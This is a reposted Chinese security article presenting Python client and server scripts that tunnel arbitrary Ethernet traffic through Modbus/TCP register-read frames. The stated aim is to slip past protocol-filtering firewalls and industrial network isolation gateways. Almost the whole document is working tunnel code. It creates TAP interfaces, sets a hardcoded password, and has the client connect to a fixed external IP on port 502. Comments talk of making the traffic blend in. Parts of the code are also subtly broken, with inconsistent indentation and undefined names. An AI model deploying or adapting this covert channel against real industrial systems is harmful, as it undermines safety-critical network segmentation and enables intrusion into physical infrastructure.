ics渗透中你总会用到-穿透工业隔离网闸

华盟原创文章投稿奖励计划

文章来源: 连接世界的暗影

程序以python编写,可以透过Modbus / TCP通讯协定传送任意以太网流量。

它可以帮助安全研究人员顺利规避针对工业协议剥离类型的防火墙。

可以将任意流量传递到工业网络。对于防火墙,你的流量似乎是“读取、保持、注册”命令。

在防火墙“后”的系统上运行modbus-server.py。

在防火墙“前”的网络上运行modbus-client.py。

注意:

执行的一切以太网命令的数据包,只能在每个modbus帧中压缩3个字节

所以,会增加穿透流量的150ms延迟,并且带宽不会很大。

所以尽量的去精简你的命令操作。

modbus-client.py

from twisted.internet import reactor
from twisted.internet.protocol import Factory, Protocol, ClientFactory
#from twisted.internet.endpoints import TCP4ClientEndpoint
from sys import stdout
import modbus
import sys
import struct
import threading
from threading import Thread
import time
import os
import fcntl
import subprocess
TUNSETIFF = 0x400454ca
TUNSETOWNER = TUNSETIFF + 2
IFF_TUN = 0x0001
IFF_TAP = 0x0002
IFF_NO_PI = 0x1000
class modbusClient(Protocol):
   def connectionMade(self):
        self._tapBuff = ""
        self._mbDataToWrite = ""
        self._mbBuffLock = threading.Lock()
        self._tapBuffLock = threading.Lock()
        self._tapLock = threading.Lock()
        self._mbParseLock = threading.Lock()
        self._decoder = modbus.ModbusDecoder()
        print "sending login"
        self.sendMessage("login secret")
        #print "starting command thread"
        #self._commandThread = Thread(target = self.commandLoop, args = [])
        #self._commandThread.start()
        print "starting query thread"
        self._queryThread = Thread(target = self.pollLoop) # adjust accordingly
        self._queryThread.start()
        print "opening tap"
        self._tap = open('/dev/net/tun', 'w+b')
        self._ifr = struct.pack('16sH', 'tap1', IFF_TAP | IFF_NO_PI)
        fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)
        # need to make the tap device nonblocking
        tapfd = self._tap.fileno()
        tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)
        fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)
        
        # Optionally, we want it be accessed by the normal user.
        fcntl.ioctl(self._tap, TUNSETOWNER, 1000) 
#        subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',
        subprocess.check_call('ifconfig tap1 192.168.7.2 netmask 255.255.255.0',
                              shell=True)
        print "starting tap thread"
        self._tapThread = Thread(target = self.handle_tap, args = [])
        self._tapThread.start()
    def commandLoop(self):
        while True:
            try:
                mycommand = raw_input("cl> ")
                reactor.callFromThread(self.sendMessage, mycommand)
            except:
                print "Exiting command loop"
                exit(1)
    def handle_tap(self):
        while True:
            self._tapLock.acquire()
            try: # because it's nonblock, this will throw exception when no data is available
                packet = list(os.read(self._tap.fileno(), 2048))
            except:
                # todo: only catch the exceptions we want!
                packet = []
            if len(packet) > 0:
                self._mbBuffLock.acquire()
                for byte in packet:
                    self._mbDataToWrite += byte
                self._mbBuffLock.release()
            self._tapLock.release()
            if self._tapBuff != "":
                print "tap out: ", self._tapBuff
                self._tapBuffLock.acquire()
                self._tapLock.acquire()
                os.write(self._tap.fileno(), self._tapBuff)
                self._tapBuff = ""
                self._tapLock.release()
                self._tapBuffLock.release()
    def tapLoop(self):
        # keep reading from the tap device
        packet = list(os.read(self._tap.fileno(), 2048))
        # put any packet data onto our _dataToWrite queue
        # need to keep a semaphore so that the poll loop is assured
        # to delete data from the dataToWrite
        this._tapBuffLock.acquire()
        this._mbDataToWrite.append(packet)
        this._tapBuffLock.release()
    def pollLoop(self, delay=0.1):
        print "poll loop starting up"
        while True:
            if self._mbDataToWrite != "":
                # send the data
                # Couldn't I just use the 
                print "had modbus data to write, calling from main thread"
                self._mbBuffLock.acquire()
                reactor.callFromThread(self.sendMessage, self._mbDataToWrite)
                self._mbDataToWrite = ""
                self._mbBuffLock.release()
            else:
                # send a probe
            #print "sending poll"
                reactor.callFromThread(self.sendProbe)
            time.sleep(delay)
    def sendProbe(self):
        # generate a Modbus frame that means "probe!"
        packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = "", probe = True)
        for packet in packets:
            self.transport.write(packet)
    def dataReceived(self, data):
        self._mbParseLock.acquire()
        if self._decoder.decodeModbus(data):
            #print "request complete"
            # Packet is now complete
            commandData = self._decoder.getReconstructedPacket()
            while commandData != None:
                self.dealWithData(commandData)#, data)
                commandData = self._decoder.getReconstructedPacket()
        else:
            # our _decoder's state will be updated with partial packet
            self._mbParseLock.release()
            return
            #self._mbDatabuff += data
            #print "waiting on more frames"
        self._mbParseLock.release()
    def dealWithData(self, commandData):#, rawdata):
        #packets = self._decoder.decodeAllPackets(rawdata)
        # we may have been dealing with command data
        if commandData != "\x00\x00\x01": # just a probe
            #print "got command?: ",
            #for byte in commandData:
            #    print hex(ord(byte)),
            #print ""
            tlen = commandData.find('\x00')
            if tlen == -1:
                tlen = len(commandData)
            tcmd = commandData[0:tlen]
            if "help" == tcmd:
                print "sending help"
                self._mbBuffLock.acquire()
                self._mbDataToWrite += "help: not available :)"
                self._buffLock.release()
            elif "login success" in tcmd:
                print "succeeded login, continuing"
            else:
                print "bad command, may be data to send"
                #self._mbBuffLock.acquire()
                #self._mbDataToWrite += tcmd + ": invalid command"
                #self._mbBuffLock.release()
                # actual binary data, send to tap
                self._tapBuffLock.acquire()
                self._tapBuff += commandData
                self._tapBuffLock.release()
                #print "data added to queue"
                # should also clear buffer, non?
        else:
            # actual binary data, send to tap
            self._tapBuffLock.acquire()
            self._tapBuff += commandData
            self._tapBuffLock.release()
 def sendMessage(self, msg):
        #print "encrapsulating ", msg
        packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = msg)
  
        for packet in packets:
            #print "sending: " + packet
            self.transport.write(packet)
class modbusClientFactory(ClientFactory):
    protocol = modbusClient
    def sendMessage(self, data):
        self.protocol.sendMessage(data)      
def notThreadSafe(x):
     """do something that isn't thread-safe"""
     # ...
     print "I am in a thread"
def threadSafeScheduler():
    """Run in thread-safe manner."""
    reactor.callFromThread(notThreadSafe, 3) # will run 'notThreadSafe(3)'
                                             # in the event loop
def commandLoop():
    while True:
        command = input("> ")
        reactor.callInThread(f.sendMessage, command)
# TODO make this connect to acttual hosts
f = modbusClientFactory()
reactor.connectTCP("66.228.57.244", 502, f)
#reactor.callInThread(commandLoop)
try:
    reactor.run()
except:
    print "exception caught, exiting"
    exit(1)
modbus-server.py 
from twisted.internet import protocol, reactor
import struct
import modbus
import fcntl
import os
import subprocess
import threading
TUNSETIFF = 0x400454ca
TUNSETOWNER = TUNSETIFF + 2
IFF_TUN = 0x0001
IFF_TAP = 0x0002
IFF_NO_PI = 0x1000
class ModbusTunneler(protocol.Protocol):
    # this method runs in a thread and handles data from the _tap device
    # it sends data to the tap device and receives data from the tap device
    def handle_tap(self):
        while True:
            self._tapLock.acquire()
            try:
                packet = list(os.read(self._tap.fileno(), 2048))
            except:
                packet = []
            if len(packet) > 0:
                self._mbBuffLock.acquire()
                print "got tap data, sending via modbus"
                for byte in packet:
                    self._mbDataToWrite += byte
                self._mbBuffLock.release()
            self._tapLock.release()
            self._tapBuffLock.acquire()
            if self._tapBuff!= "":
                print "handle_tap: putting data on wire: ", self._tapBuff
                self._tapLock.acquire()
                # maybe I don't have to callFromThread here?  there shouldn't
                # be any contention over this device...
                os.write(self._tap.fileno(), self._tapBuff) #tapbuff is a string
                self._tapBuff = ""
                self._tapLock.release()
            self._tapBuffLock.release()  
    def __init__(self, password):
        print "init"
        self._tapBuff = ""
        # tapbufflock is for the tap buffer (data to write to the tap interface)
        self._tapBuffLock = threading.Lock()
        # mbBuffLock is for the modbus buffer (data to write via Modbus)
        self._mbBuffLock = threading.Lock()
        # Trying to find an issue with a new packet coming in before the last packet
        # has finished processing...this may open a new thread?
        self._mbParseLock = threading.Lock()
        # Note that reading data from the tap and reading via modbus
        # do not require locks
        # not sure if we really need a taplock since it
        # should all run in one thread anyway
        self._tapLock = threading.Lock()
        self._decoder = modbus.ModbusDecoder()
        self._loggedIn = False
        self._password = password
        self._mbDataToWrite = ""
        self._databuff = ""
        print "opening tap"
        self._tap = open('/dev/net/tun', 'w+b')
        self._ifr = struct.pack('16sH', 'tap0', IFF_TAP | IFF_NO_PI)
        fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)
        # need to make the tap device nonblocking
        tapfd = self._tap.fileno()
        tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)
        fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)
        # Optionally, we want it be accessed by the normal user.
        fcntl.ioctl(self._tap, TUNSETOWNER, 1000) 
#        subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',
        subprocess.check_call('ifconfig tap0 192.168.7.1 netmask 255.255.255.0',
                              shell=True)
        self._mbDataToWrite = "ip 192.168.7.2 255.255.255.0"
        print "starting tap thread"
        self._tapThread = threading.Thread(target = self.handle_tap, args = [])
        self._tapThread.start() def verify_login(self, payload):
        print "Verifying login of ", payload
        print "--> Hex: ",
        for byte in payload:
            print hex(ord(byte))
        if ("login " + self._password) in payload:
            print "...verified!"
            self._mbDataToWrite = "login success"
            return True
        else:
            return False
    # is this thread-safe?? Can it be called from multiple threads??
    def dataReceived(self, data):
        self._mbParseLock.acquire()
        if self._decoder.decodeModbus(data):
            # modbus decoded at least one entire tap frame
            # so we should play with that frame
            #print "request complete"
            # Packet is now complete
            commandData = self._decoder.getReconstructedPacket()
            while commandData != None:
                # the packet will be the most recent one on the stack
                if self._loggedIn == False:
                    if self.verify_login(commandData):
                        self._loggedIn = True
                else:
                    self.dealWithData(commandData)
                commandData = self._decoder.getReconstructedPacket()
        else:
            self._databuff += data
            #print "waiting on more frames"
        # really need to queue up reply packets in a more meaningful way
        # right now we'll just send them all out willy-nilly, would
        # be nice to make them blend in more
        self._mbParseLock.release()
        if self._mbDataToWrite != "":
            print "sending encrapsulated modbus packet back"
                    # send as much of it as we can
            self.writeData()
    def dealWithData(self, commandData):
        #packets = self._decoder.decodeAllPackets(rawdata)
        # we may have been dealing with command data
        if commandData != "\x00\x00\x01": # just a probe
            print "got command?: ",
            for byte in commandData:
                print hex(ord(byte)),
            print ""
            tlen = commandData.find('\x00')
            if tlen == -1:
                tlen = len(commandData)
            tcmd = commandData[0:tlen]
            if "help" == tcmd:
                print "sending help"
                self._mbBuffLock.acquire()
                self._mbDataToWrite += "help: not available :)"
                self._mbBuffLock.release()
            else:
                print "bad command, may be data to send"
                #self._mbBuffLock.acquire()
                #self._mbDataToWrite += tcmd + ": invalid command"
                #self._mbBuffLock.release()
                # actual binary data, send to tap
                self._tapBuffLock.acquire()
                self._tapBuff += commandData
                self._tapBuffLock.release()
                print "data added to queue"
                # should also clear buffer, non?
    # Write as many bytes as we can of the data, then move our _dataToWrite
    # Need to fix this up so it looks more like responses to the queries
    # that are coming in (put in proper register ranges, etc, will slow it down)
    def writeData(self):
        self._mbBuffLock.acquire()
        packets = modbus.encodeModbus(tid = 0x0, fc = 0x3, db = self._mbDataToWrite)
        print "replying with", len(packets), "packets"
        for packet in packets:
            self.transport.write(packet)
        print "done sending", len(packets), "replies, zeroing out buffer"
        self._mbDataToWrite = ""
        self._mbBuffLock.release()
class ModbusTunnelerFactory(protocol.Factory):
    def __init__(self, password):
        self._password = password
    def buildProtocol(self, addr):
        print "Got new client"
        return ModbusTunneler(self._password)
reactor.listenTCP(502, ModbusTunnelerFactory("secret"))
reactor.run()
本文来源连接世界的暗影,经授权后由congtou发布,观点不代表华盟网的立场,转载请联系原作者。

发表回复